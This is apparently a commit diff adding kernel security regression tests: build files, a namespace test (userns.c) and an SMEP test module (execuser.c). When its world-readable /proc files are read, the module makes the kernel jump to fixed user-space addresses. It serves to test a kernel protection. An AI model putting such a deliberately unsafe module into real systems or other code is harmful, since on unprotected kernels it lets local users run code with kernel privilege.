$(wildcard include/config/fs/encryption.h) \
|
||||
$(wildcard include/config/fs/verity.h) \
|
||||
$(wildcard include/config/arm64.h) \
|
||||
$(wildcard include/config/epoll.h) \
|
||||
$(wildcard include/config/quota.h) \
|
||||
$(wildcard include/config/blk/dev/loop.h) \
|
||||
$(wildcard include/config/fs/dax.h) \
|
||||
$(wildcard include/config/block.h) \
|
||||
$(wildcard include/config/mandatory/file/locking.h) \
|
||||
$(wildcard include/config/migration.h) \
|
||||
$(wildcard include/config/io/uring.h) \
|
||||
include/linux/wait_bit.h \
|
||||
include/linux/kdev_t.h \
|
||||
include/uapi/linux/kdev_t.h \
|
||||
include/linux/dcache.h \
|
||||
include/linux/rculist.h \
|
||||
$(wildcard include/config/prove/rcu/list.h) \
|
||||
include/linux/rculist_bl.h \
|
||||
include/linux/list_bl.h \
|
||||
include/linux/bit_spinlock.h \
|
||||
include/linux/lockref.h \
|
||||
$(wildcard include/config/arch/use/cmpxchg/lockref.h) \
|
||||
include/linux/stringhash.h \
|
||||
$(wildcard include/config/dcache/word/access.h) \
|
||||
include/linux/hash.h \
|
||||
$(wildcard include/config/have/arch/hash.h) \
|
||||
include/linux/path.h \
|
||||
include/linux/list_lru.h \
|
||||
$(wildcard include/config/memcg/kmem.h) \
|
||||
include/linux/shrinker.h \
|
||||
include/linux/pid.h \
|
||||
include/linux/capability.h \
|
||||
include/uapi/linux/capability.h \
|
||||
include/linux/semaphore.h \
|
||||
include/linux/fcntl.h \
|
||||
$(wildcard include/config/arch/32bit/off/t.h) \
|
||||
include/uapi/linux/fcntl.h \
|
||||
arch/x86/include/generated/uapi/asm/fcntl.h \
|
||||
include/uapi/asm-generic/fcntl.h \
|
||||
include/uapi/linux/fiemap.h \
|
||||
include/linux/migrate_mode.h \
|
||||
include/linux/percpu-rwsem.h \
|
||||
include/linux/rcuwait.h \
|
||||
include/linux/rcu_sync.h \
|
||||
include/linux/delayed_call.h \
|
||||
include/linux/uuid.h \
|
||||
include/uapi/linux/uuid.h \
|
||||
include/linux/errseq.h \
|
||||
include/linux/ioprio.h \
|
||||
include/linux/sched.h \
|
||||
$(wildcard include/config/virt/cpu/accounting/native.h) \
|
||||
$(wildcard include/config/sched/info.h) \
|
||||
$(wildcard include/config/schedstats.h) \
|
||||
$(wildcard include/config/fair/group/sched.h) \
|
||||
$(wildcard include/config/rt/group/sched.h) \
|
||||
$(wildcard include/config/uclamp/task.h) \
|
||||
$(wildcard include/config/uclamp/buckets/count.h) \
|
||||
$(wildcard include/config/cgroup/sched.h) \
|
||||
$(wildcard include/config/blk/dev/io/trace.h) \
|
||||
$(wildcard include/config/psi.h) \
|
||||
$(wildcard include/config/compat/brk.h) \
|
||||
$(wildcard include/config/cgroups.h) \
|
||||
$(wildcard include/config/blk/cgroup.h) \
|
||||
$(wildcard include/config/security/kysec/authentication.h) \
|
||||
$(wildcard include/config/arch/has/scaled/cputime.h) \
|
||||
$(wildcard include/config/cpu/freq/times.h) \
|
||||
$(wildcard include/config/virt/cpu/accounting/gen.h) \
|
||||
$(wildcard include/config/posix/cputimers.h) \
|
||||
$(wildcard include/config/keys.h) \
|
||||
$(wildcard include/config/sysvipc.h) \
|
||||
$(wildcard include/config/detect/hung/task.h) \
|
||||
$(wildcard include/config/audit.h) \
|
||||
$(wildcard include/config/auditsyscall.h) \
|
||||
$(wildcard include/config/rt/mutexes.h) \
|
||||
$(wildcard include/config/ubsan.h) \
|
||||
$(wildcard include/config/task/xacct.h) \
|
||||
$(wildcard include/config/cpusets.h) \
|
||||
$(wildcard include/config/x86/cpu/resctrl.h) \
|
||||
$(wildcard include/config/futex.h) \
|
||||
$(wildcard include/config/perf/events.h) \
|
||||
$(wildcard include/config/rseq.h) \
|
||||
$(wildcard include/config/task/delay/acct.h) \
|
||||
$(wildcard include/config/fault/injection.h) \
|
||||
$(wildcard include/config/latencytop.h) \
|
||||
$(wildcard include/config/function/graph/tracer.h) \
|
||||
$(wildcard include/config/kcov.h) \
|
||||
$(wildcard include/config/bcache.h) \
|
||||
$(wildcard include/config/vmap/stack.h) \
|
||||
$(wildcard include/config/gcc/plugin/stackleak.h) \
|
||||
$(wildcard include/config/arch/task/struct/on/stack.h) \
|
||||
$(wildcard include/config/debug/rseq.h) \
|
||||
include/uapi/linux/sched.h \
|
||||
include/linux/sem.h \
|
||||
include/uapi/linux/sem.h \
|
||||
include/linux/ipc.h \
|
||||
include/linux/rhashtable-types.h \
|
||||
include/uapi/linux/ipc.h \
|
||||
arch/x86/include/generated/uapi/asm/ipcbuf.h \
|
||||
include/uapi/asm-generic/ipcbuf.h \
|
||||
arch/x86/include/uapi/asm/sembuf.h \
|
||||
include/linux/shm.h \
|
||||
include/uapi/linux/shm.h \
|
||||
include/uapi/asm-generic/hugetlb_encode.h \
|
||||
arch/x86/include/uapi/asm/shmbuf.h \
|
||||
include/uapi/asm-generic/shmbuf.h \
|
||||
arch/x86/include/asm/shmparam.h \
|
||||
include/linux/kcov.h \
|
||||
include/uapi/linux/kcov.h \
|
||||
include/linux/plist.h \
|
||||
$(wildcard include/config/debug/plist.h) \
|
||||
include/linux/hrtimer.h \
|
||||
$(wildcard include/config/high/res/timers.h) \
|
||||
$(wildcard include/config/time/low/res.h) \
|
||||
$(wildcard include/config/timerfd.h) \
|
||||
include/linux/hrtimer_defs.h \
|
||||
include/linux/timerqueue.h \
|
||||
include/linux/seccomp.h \
|
||||
$(wildcard include/config/seccomp.h) \
|
||||
$(wildcard include/config/have/arch/seccomp/filter.h) \
|
||||
$(wildcard include/config/seccomp/filter.h) \
|
||||
$(wildcard include/config/checkpoint/restore.h) \
|
||||
include/uapi/linux/seccomp.h \
|
||||
arch/x86/include/asm/seccomp.h \
|
||||
arch/x86/include/asm/unistd.h \
|
||||
arch/x86/include/uapi/asm/unistd.h \
|
||||
arch/x86/include/generated/uapi/asm/unistd_64.h \
|
||||
arch/x86/include/generated/asm/unistd_64_x32.h \
|
||||
arch/x86/include/asm/ia32_unistd.h \
|
||||
arch/x86/include/generated/asm/unistd_32_ia32.h \
|
||||
include/asm-generic/seccomp.h \
|
||||
include/uapi/linux/unistd.h \
|
||||
include/linux/resource.h \
|
||||
include/uapi/linux/resource.h \
|
||||
arch/x86/include/generated/uapi/asm/resource.h \
|
||||
include/asm-generic/resource.h \
|
||||
include/uapi/asm-generic/resource.h \
|
||||
include/linux/latencytop.h \
|
||||
include/linux/sched/prio.h \
|
||||
include/linux/sched/types.h \
|
||||
include/linux/signal_types.h \
|
||||
$(wildcard include/config/old/sigaction.h) \
|
||||
include/uapi/linux/signal.h \
|
||||
arch/x86/include/asm/signal.h \
|
||||
arch/x86/include/uapi/asm/signal.h \
|
||||
include/uapi/asm-generic/signal-defs.h \
|
||||
arch/x86/include/uapi/asm/siginfo.h \
|
||||
include/uapi/asm-generic/siginfo.h \
|
||||
include/linux/task_io_accounting.h \
|
||||
$(wildcard include/config/task/io/accounting.h) \
|
||||
include/linux/posix-timers.h \
|
||||
$(wildcard include/config/posix/timers.h) \
|
||||
include/linux/alarmtimer.h \
|
||||
include/uapi/linux/rseq.h \
|
||||
include/linux/sched/rt.h \
|
||||
include/linux/iocontext.h \
|
||||
include/linux/fs_types.h \
|
||||
include/uapi/linux/fs.h \
|
||||
include/linux/quota.h \
|
||||
$(wildcard include/config/quota/netlink/interface.h) \
|
||||
include/linux/percpu_counter.h \
|
||||
include/uapi/linux/dqblk_xfs.h \
|
||||
include/linux/dqblk_v1.h \
|
||||
include/linux/dqblk_v2.h \
|
||||
include/linux/dqblk_qtree.h \
|
||||
include/linux/projid.h \
|
||||
include/uapi/linux/quota.h \
|
||||
include/linux/nfs_fs_i.h \
|
||||
include/linux/seq_file.h \
|
||||
include/linux/cred.h \
|
||||
$(wildcard include/config/debug/credentials.h) \
|
||||
include/linux/key.h \
|
||||
$(wildcard include/config/net.h) \
|
||||
include/linux/assoc_array.h \
|
||||
$(wildcard include/config/associative/array.h) \
|
||||
include/linux/sched/user.h \
|
||||
$(wildcard include/config/fanotify.h) \
|
||||
$(wildcard include/config/posix/mqueue.h) \
|
||||
$(wildcard include/config/bpf/syscall.h) \
|
||||
include/linux/ratelimit.h \
|
||||
/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/../../qrt-compat.h \
|
||||
|
||||
/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o: $(deps_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o)
|
||||
|
||||
$(deps_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o):
|
|
@ -0,0 +1,8 @@
|
|||
obj-m += execuser.o
|
||||
EXTRA_CFLAGS=-I$(PWD)/../../
|
||||
|
||||
all:
|
||||
make -C /usr/src/linux-headers-$(shell uname -r) M=$$PWD modules
|
||||
|
||||
clean:
|
||||
make -C /usr/src/linux-headers-$(shell uname -r) M=$$PWD clean
|
|
@ -0,0 +1,96 @@
|
|||
/*
|
||||
Call back to userspace on read.
|
||||
|
||||
Author: Kees Cook <keescook@chromium.org>
|
||||
Copyright 2012 ChromeOS Authors
|
||||
Author: Steve Beattie <steve.beattie@canonical.com>
|
||||
Copyright 2020 Canonical, Ltd.
|
||||
|
||||
make -C /usr/src/linux-headers-$(uname -r) M=$PWD modules
|
||||
*/
|
||||
|
||||
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
|
||||
|
||||
#include <linux/module.h>
|
||||
#include <linux/version.h>
|
||||
#include <linux/init.h>
|
||||
#include <linux/proc_fs.h>
|
||||
#include <linux/seq_file.h>
|
||||
|
||||
/* qa-regression-testing common compatability definitions */
|
||||
#include <qrt-compat.h>
|
||||
|
||||
static int execuser_show_mapped(struct seq_file *m, void *v)
|
||||
{
|
||||
int (*userspace_function)(void) = (void*)0x10000000;
|
||||
if (userspace_function() != 0xfeedbeef)
|
||||
return -EFAULT;
|
||||
|
||||
seq_printf(m, "ok\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int execuser_open_mapped(struct inode *inode, struct file *file)
|
||||
{
|
||||
return single_open(file, execuser_show_mapped, NULL);
|
||||
}
|
||||
|
||||
static const struct PROC_OPS execuser_fops_mapped = {
|
||||
.PROC_OPS_OPEN = execuser_open_mapped,
|
||||
.PROC_OPS_READ = seq_read,
|
||||
.PROC_OPS_LSEEK = seq_lseek,
|
||||
.PROC_OPS_RELEASE = single_release,
|
||||
};
|
||||
|
||||
static int execuser_show_unmapped(struct seq_file *m, void *v)
|
||||
{
|
||||
int (*userspace_function)(void) = (void*)0x0;
|
||||
if (userspace_function() != 0xfeedbeef)
|
||||
return -EFAULT;
|
||||
|
||||
seq_printf(m, "ok\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int execuser_open_unmapped(struct inode *inode, struct file *file)
|
||||
{
|
||||
return single_open(file, execuser_show_unmapped, NULL);
|
||||
}
|
||||
|
||||
static const struct PROC_OPS execuser_fops_unmapped = {
|
||||
.PROC_OPS_OPEN = execuser_open_unmapped,
|
||||
.PROC_OPS_READ = seq_read,
|
||||
.PROC_OPS_LSEEK = seq_lseek,
|
||||
.PROC_OPS_RELEASE = single_release,
|
||||
};
|
||||
|
||||
static int __init execuser_init(void)
|
||||
{
|
||||
struct proc_dir_entry *entry;
|
||||
|
||||
PROC_CREATE(entry, "execuser_mapped", S_IRUGO, &execuser_fops_mapped);
|
||||
if (!entry) {
|
||||
pr_err("proc_create mapped failed\n");
|
||||
return -ENOMEM;
|
||||
}
|
||||
|
||||
PROC_CREATE(entry, "execuser_unmapped", S_IRUGO, &execuser_fops_unmapped);
|
||||
if (!entry) {
|
||||
pr_err("proc_create unmapped failed\n");
|
||||
remove_proc_entry("execuser_mapped", NULL);
|
||||
return -ENOMEM;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void __exit execuser_exit(void)
|
||||
{
|
||||
remove_proc_entry("execuser_mapped", NULL);
|
||||
remove_proc_entry("execuser_unmapped", NULL);
|
||||
}
|
||||
|
||||
module_init(execuser_init);
|
||||
module_exit(execuser_exit);
|
||||
|
||||
MODULE_LICENSE("GPL");
|
Binary file not shown.
|
@ -0,0 +1,2 @@
|
|||
/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
#include <linux/build-salt.h>
|
||||
#include <linux/module.h>
|
||||
#include <linux/vermagic.h>
|
||||
#include <linux/compiler.h>
|
||||
|
||||
BUILD_SALT;
|
||||
|
||||
MODULE_INFO(vermagic, VERMAGIC_STRING);
|
||||
MODULE_INFO(name, KBUILD_MODNAME);
|
||||
|
||||
__visible struct module __this_module
|
||||
__section(.gnu.linkonce.this_module) = {
|
||||
.name = KBUILD_MODNAME,
|
||||
.init = init_module,
|
||||
#ifdef CONFIG_MODULE_UNLOAD
|
||||
.exit = cleanup_module,
|
||||
#endif
|
||||
.arch = MODULE_ARCH_INIT,
|
||||
};
|
||||
|
||||
#ifdef CONFIG_RETPOLINE
|
||||
MODULE_INFO(retpoline, "Y");
|
||||
#endif
|
||||
|
||||
static const struct modversion_info ____versions[]
|
||||
__used __section(__versions) = {
|
||||
{ 0xf791d5f9, "module_layout" },
|
||||
{ 0x9179c1d6, "single_release" },
|
||||
{ 0x4af5b1ac, "seq_read" },
|
||||
{ 0xc4211b0c, "seq_lseek" },
|
||||
{ 0xdf2547b3, "remove_proc_entry" },
|
||||
{ 0xc5850110, "printk" },
|
||||
{ 0x200f5f2e, "proc_create" },
|
||||
{ 0x8a4f7042, "seq_printf" },
|
||||
{ 0x2ea2c95c, "__x86_indirect_thunk_rax" },
|
||||
{ 0x50021ef4, "single_open" },
|
||||
{ 0xbdfb6dbb, "__fentry__" },
|
||||
};
|
||||
|
||||
MODULE_INFO(depends, "");
|
||||
|
||||
|
||||
MODULE_INFO(srcversion, "FE9A31DE886CA5A2D601566");
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
|||
/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.ko
|
|
@ -0,0 +1,7 @@
|
|||
all: userns
|
||||
|
||||
userns: userns.c
|
||||
$(CC) -Wall -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f userns
|
Binary file not shown.
|
@ -0,0 +1,85 @@
|
|||
/*
|
||||
userns.c - a very simple test of user_namespace(7) functionality
|
||||
|
||||
Copyright 2016 Canonical, Ltd.
|
||||
Author: Steve Beattie <steve.beattie@canonical.com>
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <sys/utsname.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sched.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
void usage()
|
||||
{
|
||||
printf("Usage: userns [options]\n");
|
||||
printf("Options are:\n");
|
||||
printf(" -U Create user namespace\n");
|
||||
printf(" -i Create IPC namespace\n");
|
||||
printf(" -m Create mount namespace\n");
|
||||
printf(" -n Create network namespace\n");
|
||||
printf(" -p Create PID namespace\n");
|
||||
printf(" -u Create UTS namespace\n");
|
||||
printf(" -h This message\n");
|
||||
}
|
||||
|
||||
#define STACK_SIZE (1024 * 1024)
|
||||
static char child_stack[STACK_SIZE]; /* Space for child's stack */
|
||||
|
||||
int child_func(void *arg)
|
||||
{
|
||||
printf("PASS: succeeded\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int flags = 0, opt;
|
||||
pid_t child;
|
||||
|
||||
while ((opt = getopt(argc, argv, "Uhimnpu")) != -1) {
|
||||
switch (opt) {
|
||||
case 'U': flags |= CLONE_NEWUSER;
|
||||
break;
|
||||
case 'i': flags |= CLONE_NEWIPC;
|
||||
break;
|
||||
case 'm': flags |= CLONE_NEWNS;
|
||||
break;
|
||||
case 'n': flags |= CLONE_NEWNET;
|
||||
break;
|
||||
case 'p': flags |= CLONE_NEWPID;
|
||||
break;
|
||||
case 'u': flags |= CLONE_NEWUTS;
|
||||
break;
|
||||
case 'h':
|
||||
default:
|
||||
usage();
|
||||
}
|
||||
}
|
||||
|
||||
if (flags == 0) {
|
||||
usage();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
child = clone(child_func, child_stack + STACK_SIZE,
|
||||
flags | SIGCHLD, NULL);
|
||||
|
||||
if (child == -1) {
|
||||
perror("FAIL: clone failed: ");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (waitpid(child, NULL, 0) == -1) {
|
||||
perror("FAIL: waitpid: ");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Loading…
Reference in New Issue